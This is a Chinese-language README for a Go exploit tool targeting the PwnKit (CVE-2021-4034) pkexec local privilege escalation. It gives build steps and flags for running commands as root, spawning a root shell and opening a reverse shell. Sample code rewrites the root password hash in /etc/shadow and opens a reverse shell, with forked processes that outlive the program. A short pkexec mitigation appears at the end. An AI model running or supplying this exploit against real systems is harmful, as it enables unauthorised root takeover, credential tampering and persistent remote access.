
一个纯 Go 实现的 CVE-2021-4034 PwnKit 漏洞利用程序。
该漏洞利用程序使用 syscall.ForkExec 来确保在主程序结束后仍能存活。
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
由于该漏洞利用程序依赖于一个恶意的共享库,因此会从 payload.go 生成一个 PWN.so 文件,并将其嵌入到最终的 exploit 可执行文件中。
Makefile 使用 sed 临时将 payload.go 文件的包名改为 main,因此该 Makefile 仅适用于 Linux。
由于 Go 版本的 payload 不如 C 版本可靠,Makefile 默认会使用 C payload 编译漏洞利用程序。你也可以使用 make build_go 选择使用 Go payload 进行编译。
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
该漏洞利用程序可以通过命令(-c)、反向 shell(-r)或直接生成 root shell(-s)来使用。
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// 将 root 密码修改为 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// 打开一个反向 shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
请注意,由于 Command 和 RevShell 使用 syscall.ForkExec 来运行漏洞利用程序,生成的进程与主程序相互独立,并在主程序结束后仍然存活。
虽然 go-PwnKit 可以从 Github 导入到你的项目中,但请不要忘记你将作为 root 执行一个不受信任的共享库。因此,强烈建议使用本地编译的 PWN.so。只是提醒一下 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
如果可能,请修补 pkexec,否则请移除 pkexec 二进制文件上的 setuid 位。
chmod 0755 /usr/bin/pkexec
本项目受到多个其他 PwnKit 漏洞利用 PoC 的启发。
感谢 An00bRektn 提供了直截了当的漏洞利用设置。
感谢 PaterGottesman 和 berdav 对漏洞利用原理的清晰讲解。
感谢 dzonerzy 提供的 GIO_USE_VFS 技巧。